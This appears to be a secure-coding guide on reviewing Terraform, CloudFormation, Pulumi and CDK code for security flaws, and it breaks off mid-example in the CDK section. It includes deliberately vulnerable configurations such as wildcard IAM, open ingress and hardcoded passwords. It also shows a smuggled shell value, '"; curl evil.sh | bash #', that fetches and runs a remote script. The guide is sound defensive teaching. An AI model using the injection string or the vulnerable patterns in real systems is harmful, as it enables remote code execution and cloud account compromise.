01 //Introduction
Infrastructure-as-Code promises a reviewable, reproducible, version-controlled description of every resource your organization owns. What it delivers, in practice, is an authenticated admin API call hidden in a YAML or HCL diff. A single terraform apply can create a public S3 bucket holding production PII, attach an iam:* policy to a build runner, or replace your VPC flow-log destination with an attacker-controlled bucket — and the change looks like a small documentation PR to a tired reviewer.
Most IaC compromises are not novel vulnerabilities. They are the same handful of patterns repeating across Terraform, CloudFormation, Pulumi, and CDK codebases: secrets in .tfvars, 0.0.0.0/0 in a security group, Action: "*" in an IAM policy, unpinned module sources, unencrypted state backends, missing conditions on cross-account trust policies. This guide is organized around the review heuristics that catch those patterns consistently — with concrete code samples, the exact lines to grep for, and the controls that actually hold up in production.
terraform/main.tf is indistinguishable from a human manually running aws iam put-role-policy — only with better audit trail. Review IaC with the same rigor you would review a signed prod deploy, because that is exactly what you are approving.- Review surface:
.tf,.tfvars,.yaml/.jsonCloudFormation templates, Pulumi programs (TS/Python/Go), AWS CDK stacks, ARM/Bicep, Terraform module registries, and anylocals/variablesthey transitively pull in. - Trust boundary: anything in Git that a human with commit rights (or a compromised CI job) can change before the next
apply. - Impact: cloud admin, production data, customer PII, cross-account trust, and — via build-time hooks — arbitrary code execution on whatever runner holds the apply role.
Why is a reviewer's instinct for "this is just a config change" dangerous for IaC?
02 //The IaC Attack Surface
Every IaC pipeline is a chain of privileged steps: source code lands in Git, a plan step renders modules and sometimes executes user code, an apply step assumes a cloud role and writes resources, and the resulting state file often contains secrets as a side effect. Each stage has its own class of bug — and each stage is worth grepping for independently during review.
Where Each IaC Tool Puts the Attack Surface
| Stage | Terraform | CloudFormation | Pulumi / CDK |
|---|---|---|---|
| Source | .tf, .tfvars, modules, providers | .yaml / .json templates, parameters, macros | real code: TS / Python / Go / Java |
| Plan | Reads providers; renders modules | ChangeSet; macros may run Lambda | Executes user code to produce a plan |
| Apply | Holds cloud creds; runs local-exec / provisioners | Service-managed; IAM capabilities flag required | Holds cloud creds; @pulumi/command runs local binaries |
| State | terraform.tfstate (backend of your choice) | CloudFormation-managed (no plaintext secrets dump) | Pulumi state backend (Service / self-managed) |
| Review super-power | aws_iam_policy_document, sensitive, validate() | NoEcho, StackPolicy, cfn-guard | Typed config, runtime checks, CDK Aspects |
For a reviewer, two heuristics cover 80% of IaC bugs: (1) look at every place attacker-controlled or environment-sourced data flows into a resource definition, and (2) look at every resource that has a default — because the default is almost always less secure than what you would have written explicitly.
1# 1. Wildcards in IAM — policies, trusts, and resource ARNs
2grep -RIn 'Action.*\*\|Resource.*\*\|Principal.*"\*"' .
3
4# 2. Open network ingress
5grep -RIn '0.0.0.0/0\|::/0\|cidr_blocks.*\*' .
6
7# 3. Secrets embedded as strings (first-pass filter; follow up with gitleaks)
8grep -RInE '(password|secret|token|key)\s*=\s*"[A-Za-z0-9/+=]{16,}"' .
9
10# 4. Unpinned remote sources
11grep -RIn 'source\s*=\s*"git::\|github.com\|registry.terraform.io' . | grep -v '?ref='
12
13# Run these as pre-commit hooks before Checkov/tfsec — they catch the
14# cheapest-to-miss, highest-impact findings first.var.allowed_cidr from terraform.tfvars all the way into an aws_security_group_rule will catch more bugs than one who reads each resource in isolation.A repo defines a reusable VPC module with `var.allow_all_cidrs = false`. A new PR adds `allow_all_cidrs = true` in a dev environment's tfvars. Why is the default-false pattern a good review signal even when the PR is approved?
03 //Hardcoded Secrets & Variable Leaks
Secrets leaking into IaC is the most common IaC finding, and it shows up in five distinct places: the resource argument itself, default values on module variables, locals, output values (which may be consumed by other configurations), and .tfvars files that somehow end up committed. The pattern is the same across tools — what changes is the feature the tool gives you to prevent it.
1# VULNERABLE: plaintext DB password in HCL, default on a variable,
2# and a non-sensitive output that echoes it.
3variable "db_password" {
4 description = "RDS master password"
5 type = string
6 default = "Sup3rSecret!" # committed, searchable, unrotatable
7}
8
9resource "aws_db_instance" "main" {
10 identifier = "prod-main"
11 engine = "postgres"
12 username = "admin"
13 password = var.db_password # lands in state file
14 allocated_storage = 100
15}
16
17output "db_password" {
18 value = aws_db_instance.main.password # printed to stdout on apply
19}
20
21# Red flags:
22# 1. variable "db_password" has a default — it should be required
23# 2. aws_db_instance.password pulls from a variable with no sensitive = true
24# 3. The output re-exports the password unprotected1# SAFER: secret stays in Secrets Manager; Terraform only holds a reference.
2data "aws_secretsmanager_secret" "db" {
3 name = "prod/rds/main/password"
4}
5
6data "aws_secretsmanager_secret_version" "db" {
7 secret_id = data.aws_secretsmanager_secret.db.id
8}
9
10resource "aws_db_instance" "main" {
11 identifier = "prod-main"
12 engine = "postgres"
13 username = "admin"
14 password = data.aws_secretsmanager_secret_version.db.secret_string
15 allocated_storage = 100
16}
17
18# Mark every interface that carries secret material.
19variable "api_key" {
20 type = string
21 sensitive = true # hides from CLI output (does NOT hide from state — see below)
22}
23
24output "db_endpoint" {
25 value = aws_db_instance.main.endpoint
26 sensitive = false # endpoint is not a secret
27}
28
29# Still required: a KMS-encrypted backend so the state file itself is protected.sensitive flag only controls what Terraform prints during plan/apply. The actual secret is still written to terraform.tfstate in plaintext. If anyone can read the state file, they can read every secret Terraform has touched. The real fix is narrow IAM on the state backend plus KMS-at-rest — covered in the State File Security section.1# VULNERABLE: password parameter without NoEcho, stored in template
2Parameters:
3 DBPassword:
4 Type: String
5 Default: "Sup3rSecret!" # committed in the template file
6 # Missing: NoEcho: true
7
8Resources:
9 MainDB:
10 Type: AWS::RDS::DBInstance
11 Properties:
12 Engine: postgres
13 MasterUsername: admin
14 MasterUserPassword: !Ref DBPassword
15 AllocatedStorage: 100
16
17Outputs:
18 DBPassword:
19 Value: !Ref DBPassword # echoed into StackOutputs1# SAFER: CFN never sees the plaintext; the dynamic reference is
2# resolved at stack-operation time and not stored in the template.
3Parameters:
4 DBPassword:
5 Type: String
6 NoEcho: true # hides from Describe* APIs & console
7 Default: '{{resolve:secretsmanager:prod/rds/main:SecretString:password}}'
8
9Resources:
10 MainDB:
11 Type: AWS::RDS::DBInstance
12 Properties:
13 Engine: postgres
14 MasterUsername: admin
15 MasterUserPassword: !Ref DBPassword
16 AllocatedStorage: 100
17 StorageEncrypted: true
18 KmsKeyId: !Ref RdsKmsKey
19
20# Still required: StackPolicy preventing updates to sensitive resources;
21# CloudTrail logs for the GetSecretValue call;
22# resource-level IAM restricting who can DescribeStacks / GetStackOutputs.1// VULNERABLE: string constant, no secret marker
2import * as aws from "@pulumi/aws";
3
4const dbPassword = "Sup3rSecret!"; // lives in git and in Pulumi state
5
6new aws.rds.Instance("main", {
7 engine: "postgres",
8 username: "admin",
9 password: dbPassword,
10 allocatedStorage: 100,
11});
12
13// ---------------------------------------------------------------
14// SAFER: require a Pulumi Secret — encrypted in state, never in source
15import * as pulumi from "@pulumi/pulumi";
16
17const config = new pulumi.Config();
18const dbPassword = config.requireSecret("dbPassword");
19// Set with: pulumi config set --secret dbPassword <value>
20
21new aws.rds.Instance("main", {
22 engine: "postgres",
23 username: "admin",
24 password: dbPassword, // stored encrypted in Pulumi state
25 allocatedStorage: 100,
26 storageEncrypted: true,
27});- Grep
default =on any variable whose name containspassword,secret,token,key,credential. Defaults on secret variables are almost always bugs — either the value is real (catastrophic) or the value is a placeholder that implies the field will be silently empty in some environment. - Grep
outputblocks for secret-shaped names. Module outputs are read by other modules and may end up in state files they shouldn't. - Flag every
.tfvarsfile that isn't.gitignore'd. The*.auto.tfvarspattern is particularly dangerous because it is loaded automatically — a contributor does not need to know it exists to activate it. - Require
NoEcho: trueon every CloudFormation parameter that carries secret material. cfn-lint will catch most of these; make it a blocking PR check. - For Pulumi and CDK, require
requireSecret()/SecretValue.secretsManager()— never raw strings. Type-level enforcement beats docs-level enforcement.
A PR adds `sensitive = true` to a Terraform variable holding an API token. The reviewer signs off. What is still broken?
04 //Insecure Resource Defaults
Cloud resources ship with defaults that optimize for "works on the first try," not "secure by default." A Terraform aws_s3_bucket is not public today, but its sibling aws_db_instance is unencrypted by default, aws_security_group accepts an explicit 0.0.0.0/0 with no warning, and aws_instance still honors IMDSv1 unless you opt into v2. A reviewer who only reads what the PR adds — without asking "what are we getting by omission?" — will miss all of these.
1# VULNERABLE: every resource below relies on a field the author did not set.
2resource "aws_s3_bucket" "logs" {
3 bucket = "acme-prod-logs"
4}
5# Missing:
6# - server_side_encryption_configuration (KMS-backed)
7# - public_access_block (block all four: ACLs + policies)
8# - versioning + MFA-delete
9# - logging target
10
11resource "aws_security_group" "web" {
12 name = "web"
13 vpc_id = aws_vpc.main.id
14
15 ingress {
16 from_port = 22
17 to_port = 22
18 protocol = "tcp"
19 cidr_blocks = ["0.0.0.0/0"] # SSH open to the Internet
20 }
21
22 ingress {
23 from_port = 0
24 to_port = 0
25 protocol = "-1" # all protocols, all ports
26 cidr_blocks = ["0.0.0.0/0"]
27 }
28}
29
30resource "aws_db_instance" "reporting" {
31 engine = "postgres"
32 identifier = "reporting"
33 username = "admin"
34 password = var.db_password
35 allocated_storage = 100
36 publicly_accessible = true # accessible from the Internet
37 # Missing: storage_encrypted, kms_key_id, backup_retention_period, deletion_protection
38}
39
40resource "aws_instance" "bastion" {
41 ami = "ami-0abcdef1234567890"
42 instance_type = "t3.small"
43 # Missing: metadata_options { http_tokens = "required" } to enforce IMDSv2
44 # Missing: root_block_device { encrypted = true }
45}1# SAFER: every setting that defaults insecure is set explicitly.
2resource "aws_s3_bucket" "logs" {
3 bucket = "acme-prod-logs"
4}
5
6resource "aws_s3_bucket_server_side_encryption_configuration" "logs" {
7 bucket = aws_s3_bucket.logs.id
8 rule {
9 apply_server_side_encryption_by_default {
10 sse_algorithm = "aws:kms"
11 kms_master_key_id = aws_kms_key.logs.arn
12 }
13 }
14}
15
16resource "aws_s3_bucket_public_access_block" "logs" {
17 bucket = aws_s3_bucket.logs.id
18 block_public_acls = true
19 block_public_policy = true
20 ignore_public_acls = true
21 restrict_public_buckets = true
22}
23
24resource "aws_s3_bucket_versioning" "logs" {
25 bucket = aws_s3_bucket.logs.id
26 versioning_configuration { status = "Enabled" }
27}
28
29resource "aws_security_group" "web" {
30 name = "web"
31 description = "HTTPS ingress from the load balancer only"
32 vpc_id = aws_vpc.main.id
33}
34
35resource "aws_security_group_rule" "web_https_from_alb" {
36 type = "ingress"
37 from_port = 443
38 to_port = 443
39 protocol = "tcp"
40 source_security_group_id = aws_security_group.alb.id # no CIDR, no 0.0.0.0/0
41 security_group_id = aws_security_group.web.id
42}
43
44resource "aws_db_instance" "reporting" {
45 engine = "postgres"
46 identifier = "reporting"
47 username = "admin"
48 password = data.aws_secretsmanager_secret_version.db.secret_string
49 allocated_storage = 100
50 storage_encrypted = true
51 kms_key_id = aws_kms_key.rds.arn
52 publicly_accessible = false
53 backup_retention_period = 14
54 deletion_protection = true
55 copy_tags_to_snapshot = true
56 performance_insights_enabled = true
57 performance_insights_kms_key_id = aws_kms_key.rds.arn
58 iam_database_authentication_enabled = true
59}
60
61resource "aws_instance" "bastion" {
62 ami = data.aws_ami.al2023.id
63 instance_type = "t3.small"
64
65 metadata_options {
66 http_tokens = "required" # IMDSv2 only
67 http_put_response_hop_limit = 1 # prevent container hops
68 http_endpoint = "enabled"
69 }
70
71 root_block_device {
72 encrypted = true
73 kms_key_id = aws_kms_key.ebs.arn
74 }
75}Insecure Defaults Cheat Sheet (AWS)
| Resource | Default that bites | Explicit fix |
|---|---|---|
| aws_db_instance | storage_encrypted = false | storage_encrypted = true + kms_key_id |
| aws_ebs_volume | encrypted = false | encrypted = true + account default KMS |
| aws_instance | http_tokens = "optional" (IMDSv1 allowed) | metadata_options { http_tokens = "required" } |
| aws_s3_bucket | No PublicAccessBlock | aws_s3_bucket_public_access_block — all four true |
| aws_security_group | Implicit egress 0.0.0.0/0 to everywhere | Replace default egress with explicit rules |
| aws_elasticsearch_domain | Plaintext node-to-node | node_to_node_encryption + encrypt_at_rest |
| aws_cloudtrail | Single-region; no log-file validation | is_multi_region_trail + enable_log_file_validation |
| aws_lambda_function | Environment vars unencrypted in transit/rest | kms_key_arn + VPC config + reserved_concurrency |
| aws_eks_cluster | Public endpoint, no secret encryption | endpoint_public_access = false + envelope encryption with KMS |
checkov or tfsec — run them in CI and make failures blocking.A new `aws_db_instance` block passes tests and lint. Which single omitted field, if un-flagged, is the highest-impact finding?
05 //IAM Blast Radius in IaC
IAM policies are the highest-leverage text in any IaC codebase. A single * in the wrong place is the difference between "a Lambda that reads one bucket" and "a Lambda that can delete the organization." Reviewing IAM in IaC is disproportionately more valuable than reviewing any other resource type — and disproportionately harder, because the symptoms only show up on the day someone exploits it.
1# VULNERABLE: admin-equivalent policy attached to a Lambda execution role.
2resource "aws_iam_role" "ingest" {
3 name = "ingest"
4 assume_role_policy = data.aws_iam_policy_document.assume_lambda.json
5}
6
7resource "aws_iam_role_policy" "ingest_admin" {
8 role = aws_iam_role.ingest.id
9 policy = jsonencode({
10 Version = "2012-10-17",
11 Statement = [{
12 Effect = "Allow",
13 Action = "*", # every AWS API
14 Resource = "*" # on every object
15 }]
16 })
17}
18
19# Separate policy with an iam:PassRole wildcard — the classic privesc primitive
20resource "aws_iam_role_policy" "ingest_passrole" {
21 role = aws_iam_role.ingest.id
22 policy = jsonencode({
23 Version = "2012-10-17",
24 Statement = [{
25 Effect = "Allow",
26 Action = "iam:PassRole",
27 Resource = "*" # pass any role in the account
28 }]
29 })
30}
31
32# Trust policy with a wildcarded principal — confused-deputy waiting to happen
33data "aws_iam_policy_document" "assume_external" {
34 statement {
35 actions = ["sts:AssumeRole"]
36 principals {
37 type = "AWS"
38 identifiers = ["*"] # any account
39 }
40 # Missing: condition { test = "StringEquals", variable = "aws:PrincipalOrgID", ... }
41 }
42}1# SAFER: generate policies from data sources so the structure is auditable
2# and narrow the actions, resources, and conditions explicitly.
3data "aws_iam_policy_document" "ingest" {
4 statement {
5 sid = "ReadRawBucket"
6 effect = "Allow"
7 actions = ["s3:GetObject", "s3:ListBucket"]
8 resources = [
9 aws_s3_bucket.raw.arn,
10 "${aws_s3_bucket.raw.arn}/*",
11 ]
12 condition {
13 test = "StringEquals"
14 variable = "aws:ResourceAccount"
15 values = [data.aws_caller_identity.current.account_id]
16 }
17 }
18
19 statement {
20 sid = "PutToProcessedBucket"
21 effect = "Allow"
22 actions = ["s3:PutObject"]
23 resources = ["${aws_s3_bucket.processed.arn}/*"]
24 }
25
26 statement {
27 sid = "WriteKmsEncrypted"
28 effect = "Allow"
29 actions = ["kms:Encrypt", "kms:GenerateDataKey"]
30 resources = [aws_kms_key.processed.arn]
31 }
32}
33
34resource "aws_iam_role_policy" "ingest" {
35 role = aws_iam_role.ingest.id
36 policy = data.aws_iam_policy_document.ingest.json
37}
38
39# Cross-account trust with OrgID + external ID
40data "aws_iam_policy_document" "assume_external" {
41 statement {
42 actions = ["sts:AssumeRole"]
43 principals {
44 type = "AWS"
45 identifiers = ["arn:aws:iam::444455556666:role/partner-sync"]
46 }
47 condition {
48 test = "StringEquals"
49 variable = "aws:PrincipalOrgID"
50 values = [var.org_id]
51 }
52 condition {
53 test = "StringEquals"
54 variable = "sts:ExternalId"
55 values = [var.external_id]
56 }
57 }
58}- Every
Action: "*"is a finding. Replace with the minimum list of calls the workload actually makes; use IAM Access Analyzer policy generation to start. - Every
Resource: "*"is a finding unless the API is service-level (e.g., somes3:ListAllMyBuckets). Most actions support a resource ARN — use it. - Watch for
NotAction/NotResource. Their inverted semantics are a common source of silent widening. "Allow everything except DeleteUser" is rarely what the author meant. - Flag every
iam:PassRole *without a condition. PassRole with a wildcard resource + any compute service privilege = trivial privilege escalation to any role in the account. - Cross-account trust needs
aws:PrincipalOrgIDorsts:ExternalId. A bare trust statement on{"AWS": "*"}means any AWS account in the world can assume your role. - Prefer
aws_iam_policy_document(or CDK IAM constructs) over hand-written JSON. Structure beats strings — reviewers can see the statement boundary. - Permissions boundaries and SCPs are your safety net. Make sure every human-writable role has a permissions boundary that forbids
iam:*andorg:*.
iam:PassRole * and then lambda:CreateFunction (or ECS / EC2 RunInstances), they can pick any role in the account — including Organizations-admin roles — and attach it to a Lambda they control. The policy document makes this visible; the reviewer's job is to make it loud.Which condition is most important on a cross-account `sts:AssumeRole` trust policy allowing a partner AWS account?
06 //State File Security
The Terraform state file is the part of the IaC stack most reviewers never open — and therefore the part most likely to leak a secret. State contains every attribute Terraform knows about every resource: RDS passwords, SSM parameter values, private keys embedded in certificates, Cognito app secrets, and many outputs marked sensitive. A read of the state bucket is a read of every production secret Terraform has ever managed.
1# VULNERABLE: local state committed to Git, or an S3 backend with
2# no encryption, no locking, and broad bucket IAM.
3terraform {
4 # No backend configured — Terraform writes terraform.tfstate locally,
5 # and someone commits it to the repo.
6
7 # OR this minimal (and insufficient) S3 backend:
8 backend "s3" {
9 bucket = "acme-tfstate"
10 key = "prod/main.tfstate"
11 region = "us-east-1"
12 # Missing:
13 # - encrypt = true
14 # - kms_key_id = <CMK>
15 # - dynamodb_table = <lock table>
16 # - acl = "private"
17 }
18}1# SAFER: KMS-encrypted S3 backend + DynamoDB locking + narrow IAM.
2terraform {
3 backend "s3" {
4 bucket = "acme-tfstate-prod"
5 key = "prod/main.tfstate"
6 region = "us-east-1"
7 encrypt = true
8 kms_key_id = "arn:aws:kms:us-east-1:111122223333:key/abcdef01-...-..."
9 dynamodb_table = "tfstate-locks"
10 acl = "private"
11 use_lockfile = true # TF 1.10+: also writes a .tflock file
12 }
13}
14
15# The backing resources live in a dedicated "bootstrap" stack.
16resource "aws_s3_bucket" "tfstate" {
17 bucket = "acme-tfstate-prod"
18}
19
20resource "aws_s3_bucket_versioning" "tfstate" {
21 bucket = aws_s3_bucket.tfstate.id
22 versioning_configuration { status = "Enabled" }
23}
24
25resource "aws_s3_bucket_server_side_encryption_configuration" "tfstate" {
26 bucket = aws_s3_bucket.tfstate.id
27 rule {
28 apply_server_side_encryption_by_default {
29 sse_algorithm = "aws:kms"
30 kms_master_key_id = aws_kms_key.tfstate.arn
31 }
32 }
33}
34
35resource "aws_s3_bucket_public_access_block" "tfstate" {
36 bucket = aws_s3_bucket.tfstate.id
37 block_public_acls = true
38 block_public_policy = true
39 ignore_public_acls = true
40 restrict_public_buckets = true
41}
42
43resource "aws_dynamodb_table" "tfstate_locks" {
44 name = "tfstate-locks"
45 billing_mode = "PAY_PER_REQUEST"
46 hash_key = "LockID"
47 attribute {
48 name = "LockID"
49 type = "S"
50 }
51 server_side_encryption { enabled = true }
52 point_in_time_recovery { enabled = true }
53}
54
55# Separate KMS key; key policy enforces that only the pipeline role
56# (and break-glass admin) can call Encrypt/Decrypt.State Backend Security Checklist
| Control | Why |
|---|---|
| Never commit .tfstate / .tfstate.backup | Plaintext secrets in Git |
| Backend encrypts at rest (KMS/CMK) | Stops bucket-read from becoming secret-read |
| Backend blocks public access | S3 public buckets holding state are a recurring incident |
| Backend has versioning + MFA-delete | Ransomware / corruption recovery |
| Bucket IAM narrow to the pipeline role | Readers of the state = holders of the secrets |
| DynamoDB locking (or native lockfile) | Prevents concurrent applies and split-brain state |
| CloudTrail data events on the state bucket | Anomalous GetObject = exfiltration signal |
| `.gitignore` for `terraform.tfstate*`, `.terraform/`, `*.tfvars` | Stops casual commits |
A reviewer sees `sensitive = true` on an RDS password output and a plain S3 backend (no encryption). What is the practical security posture?
07 //Terraform-Specific Pitfalls
Terraform has a handful of language features that regularly become security footguns: unpinned providers, dynamic blocks that quietly widen policies, local-exec / remote-exec provisioners that run arbitrary shell, workspace-as-environment confusion, and module sources fetched from mutable refs. Each one looks innocuous in a diff and each one has been the root cause of real incidents.
1# VULNERABLE: unpinned provider + unpinned module source.
2# A compromised upstream or a maintainer mistake ships into your apply.
3terraform {
4 required_providers {
5 aws = {
6 source = "hashicorp/aws"
7 # No version constraint
8 }
9 }
10}
11
12module "vpc" {
13 source = "terraform-aws-modules/vpc/aws"
14 # No version
15}
16
17module "eks" {
18 source = "git::https://github.com/some-org/tf-eks.git"
19 # No ?ref=<SHA>
20}
21
22# -----------------------------------------------------------
23# SAFER:
24terraform {
25 required_version = "~> 1.6"
26 required_providers {
27 aws = {
28 source = "hashicorp/aws"
29 version = "~> 5.40"
30 }
31 }
32}
33
34module "vpc" {
35 source = "terraform-aws-modules/vpc/aws"
36 version = "5.5.3" # exact
37}
38
39module "eks" {
40 source = "git::https://github.com/some-org/tf-eks.git?ref=a1b2c3d4e5f6...a1b2c3d4e5f6"
41 # Pin by FULL commit SHA, not by tag (tags are movable, SHAs are not)
42}1# VULNERABLE: a dynamic block iterating over variable input creates
2# ingress rules whose breadth is decided by whoever owns the variable.
3resource "aws_security_group" "api" {
4 name = "api"
5 vpc_id = aws_vpc.main.id
6
7 dynamic "ingress" {
8 for_each = var.allowed_cidrs # attacker / misconfig point
9 content {
10 from_port = 443
11 to_port = 443
12 protocol = "tcp"
13 cidr_blocks = [ingress.value]
14 }
15 }
16}
17
18# If var.allowed_cidrs is ever ["0.0.0.0/0"] in a tfvars file that
19# nobody reviews, the SG is world-open. The code above looks clean.
20
21# -----------------------------------------------------------
22# SAFER: validate the values at variable declaration time.
23variable "allowed_cidrs" {
24 type = list(string)
25 validation {
26 condition = alltrue([
27 for cidr in var.allowed_cidrs :
28 !contains(["0.0.0.0/0", "::/0"], cidr)
29 ])
30 error_message = "Open-to-the-Internet CIDRs are not permitted here."
31 }
32}1# VULNERABLE: local-exec interpolates a variable directly into a shell command.
2# This runs on the apply machine — your CI runner or an engineer's laptop.
3resource "null_resource" "post_deploy" {
4 provisioner "local-exec" {
5 command = "./notify.sh ${var.release_notes}" # shell injection sink
6 }
7}
8
9# If var.release_notes is attacker-controlled (sourced from a PR description,
10# GitHub API, or a CI env var), the apply host runs arbitrary shell.
11
12# -----------------------------------------------------------
13# SAFER: provisioners are last-resort. Prefer a proper resource or API call.
14# If you MUST shell out, use environment variables for the input and quote them:
15resource "null_resource" "post_deploy" {
16 provisioner "local-exec" {
17 environment = {
18 RELEASE_NOTES = var.release_notes
19 }
20 command = "./notify.sh" # notify.sh reads $RELEASE_NOTES safely
21 }
22}
23
24# Even better: replace the provisioner with a native resource (SNS, Lambda
25# invoke, webhook-as-resource module) so there is no shell at all.1# VULNERABLE: using terraform workspaces as environments often
2# mixes state between dev/stage/prod in a single backend.
3# A bug in locals can push dev resources into the prod workspace.
4locals {
5 env = terraform.workspace # "default", "dev", "prod", ...
6 is_prod = local.env == "prod"
7}
8
9resource "aws_kms_key" "data" {
10 description = "data-${local.env}"
11 deletion_window_in_days = local.is_prod ? 30 : 7
12 enable_key_rotation = local.is_prod ? true : false # wrong default
13}
14
15# Problems:
16# - the "default" workspace is real and applying there creates
17# ungoverned resources that nobody owns
18# - a typo in terraform.workspace (e.g. "prd") silently becomes non-prod
19# - all environments share a backend key — one bad apply can damage prod state
20
21# -----------------------------------------------------------
22# SAFER: one state per environment with separate backend configurations,
23# separate cloud accounts, and no reliance on terraform.workspace for
24# security-relevant decisions.local-exec and remote-exec should be a last resort. Every provisioner you add is code that runs on the apply host with the apply identity's credentials. Review them like you would review an eval().08 //CloudFormation-Specific Pitfalls
CloudFormation has its own set of features that regularly become attack surface: nested stacks that pull templates from S3, !Sub and !Ref interpolations that mirror the expression-injection class from other templating systems, custom resources backed by Lambdas with broad permissions, and StackSets whose trust model spans accounts. The language is more restricted than HCL or a real programming language, but the same review discipline applies.
1# VULNERABLE: a user-supplied parameter is interpolated into UserData
2# that bash then executes. Any shell metacharacter in the parameter
3# becomes shell on the EC2 instance.
4Parameters:
5 GreetingName:
6 Type: String
7 # No AllowedPattern — accepts anything
8
9Resources:
10 Instance:
11 Type: AWS::EC2::Instance
12 Properties:
13 ImageId: ami-0abcdef1234567890
14 InstanceType: t3.small
15 UserData:
16 Fn::Base64: !Sub |
17 #!/bin/bash
18 echo "Hello, ${GreetingName}" >> /var/log/greet.log
19
20# If GreetingName is '"; curl evil.sh | bash #'
21# the rendered UserData is:
22# echo "Hello, "; curl evil.sh | bash #" >> /var/log/greet.log
23# ...and the instance fetches and runs an attacker script on first boot.1# SAFER: validate at the parameter boundary and use SSM/IMDSv2
2# to read values at runtime rather than templating them in.
3Parameters:
4 GreetingName:
5 Type: String
6 AllowedPattern: "^[A-Za-z0-9 _-]{1,64}$" # explicit character class
7 ConstraintDescription: "Letters, digits, space, underscore, dash only."
8
9Resources:
10 GreetingParam:
11 Type: AWS::SSM::Parameter
12 Properties:
13 Type: String
14 Name: /app/greeting
15 Value: !Ref GreetingName
16
17 Instance:
18 Type: AWS::EC2::Instance
19 Properties:
20 ImageId: !Ref LatestAL2023AMI
21 InstanceType: t3.small
22 IamInstanceProfile: !Ref InstanceProfile
23 MetadataOptions:
24 HttpTokens: required # IMDSv2
25 HttpPutResponseHopLimit: 1
26 UserData:
27 Fn::Base64: |
28 #!/bin/bash
29 NAME=$(aws ssm get-parameter --name /app/greeting --query Parameter.Value --output text)
30 printf 'Hello, %s\n' "$NAME" >> /var/log/greet.log1# VULNERABLE: a nested stack loaded from an S3 bucket that is
2# world-readable (or worse, writeable by a wide principal).
3# Whoever controls the template controls what the parent stack creates.
4Resources:
5 Network:
6 Type: AWS::CloudFormation::Stack
7 Properties:
8 TemplateURL: "https://s3.amazonaws.com/acme-cfn-templates/network.yaml"
9 # Is acme-cfn-templates locked down? Versioned? Signed?
10
11# -----------------------------------------------------------
12# SAFER:
13# - Bucket: block public access, CMK-encrypted, versioning on.
14# - Bucket policy restricts writes to the CI role only (no console edits).
15# - TemplateURL pins a specific object-version ID:
16# ...network.yaml?versionId=abc123...
17# - cfn-guard / cfn-lint run against nested templates the same way
18# they do the parent.1# VULNERABLE: a custom resource whose backing Lambda has *:* and
2# whose code is inlined in the template (so any template-edit is a
3# production code change with no separate review).
4Resources:
5 SillyCustomResourceRole:
6 Type: AWS::IAM::Role
7 Properties:
8 AssumeRolePolicyDocument:
9 Version: '2012-10-17'
10 Statement:
11 - Effect: Allow
12 Principal: { Service: lambda.amazonaws.com }
13 Action: sts:AssumeRole
14 Policies:
15 - PolicyName: admin
16 PolicyDocument:
17 Version: '2012-10-17'
18 Statement:
19 - Effect: Allow
20 Action: "*" # full admin
21 Resource: "*"
22
23 SillyCustomResourceFn:
24 Type: AWS::Lambda::Function
25 Properties:
26 Role: !GetAtt SillyCustomResourceRole.Arn
27 Runtime: python3.12
28 Handler: index.handler
29 Code:
30 ZipFile: |
31 import cfnresponse, json, boto3, os
32 def handler(event, context):
33 # this runs with *:* every stack update
34 ...
35
36# -----------------------------------------------------------
37# SAFER:
38# - Scope the Lambda's role to the exact calls it needs.
39# - Publish the function as a versioned artifact (S3 object or CodeArtifact),
40# not ZipFile inline — template edits should not silently deploy new code.
41# - Consider replacing the custom resource with a CloudFormation
42# Registry resource type, which has stronger schema and IAM separation.CAPABILITY_NAMED_IAM and service-managed permissions runs in every account in the target OUs. A malicious change to a StackSet template is equivalent to an org-wide privileged deploy. StackSet templates need the same review bar as root-account changes, and their source bucket should be immutable + reviewed.09 //Pulumi / CDK Code Injection
Terraform and CloudFormation are declarative: reviewers mostly read resource blocks. Pulumi and AWS CDK are real programs — TypeScript, Python, Go, Java, C# — so they inherit every code-injection surface a real language has. String concatenation into IAM policies, eval-adjacent dynamic requires, @pulumi/command local execution, and CDK Aspects that can silently rewrite the synthesized tree are all patterns that look fine to a reviewer who is looking for "YAML bugs."
1// VULNERABLE: a variable flows into a policy string without validation.
2import * as aws from "@pulumi/aws";
3import * as pulumi from "@pulumi/pulumi";
4
5const config = new pulumi.Config();
6const extraArn = config.get("extraAllowedArn") ?? "";
7
8// Building an IAM policy by string concatenation hides the resource boundary
9// and allows an injected "]}]}," to close statements and add new ones.
10const policyDoc = `{
11 "Version": "2012-10-17",
12 "Statement": [
13 { "Effect": "Allow", "Action": "s3:GetObject", "Resource": "${extraArn}" }
14 ]
15}`;
16
17new aws.iam.RolePolicy("app", {
18 role: appRole.id,
19 policy: policyDoc,
20});
21
22// -----------------------------------------------------------
23// SAFER: build the policy as a typed object so the structure is
24// unambiguous and each field is validated.
25import { getPolicyDocument } from "@pulumi/aws/iam";
26
27const validatedArn = pulumi.output(extraArn).apply(arn => {
28 if (!/^arn:aws:s3:::[a-z0-9.\-]{3,63}(\/[^*\s]*)?$/.test(arn)) {
29 throw new Error(`Refusing unsafe ARN: ${arn}`);
30 }
31 return arn;
32});
33
34const policyDocOk = getPolicyDocument({
35 statements: [{
36 effect: "Allow",
37 actions: ["s3:GetObject"],
38 resources: [validatedArn],
39 }],
40});
41
42new aws.iam.RolePolicy("app", {
43 role: appRole.id,
44 policy: policyDocOk.then(p => p.json),
45});1// VULNERABLE: @pulumi/command.local.Command runs a shell command
2// on the host running "pulumi up" (the CI runner). Interpolating
3// attacker-controlled data into the command is shell injection.
4import { local } from "@pulumi/command";
5
6const branch = process.env.BRANCH ?? "main"; // CI-provided
7
8new local.Command("release", {
9 // "; curl evil.sh | bash #" as a branch name becomes arbitrary shell
10 create: `./release.sh --branch ${branch}`,
11});
12
13// -----------------------------------------------------------
14// SAFER: pass untrusted values through environment, or avoid @pulumi/command
15// entirely in favor of a real resource (CodeBuild, Lambda, EventBridge).
16new local.Command("release", {
17 environment: { BRANCH: branch },
18 create: "./release.sh --branch \"$BRANCH\"",
19});1// VULNERABLE: a CDK Aspect applied at the App level can rewrite
2// properties on every resource in every stack. A third-party library
3// that ships an Aspect can silently flip encryption off, loosen an SG,
4// or change a Lambda's role.
5import { Aspects } from "aws-cdk-lib";
6import { SomeThirdPartyAspect } from "sketchy-cdk-toolbelt";
7
8Aspects.of(app).add(new SomeThirdPartyAspect());
9
10// -----------------------------------------------------------
11// SAFER:
12// - Treat CDK dependencies the same way you treat npm dependencies
13// feeding into production — SBOM them, pin by exact version.
14// - Use positive-control Aspects that assert invariants rather than mutate:
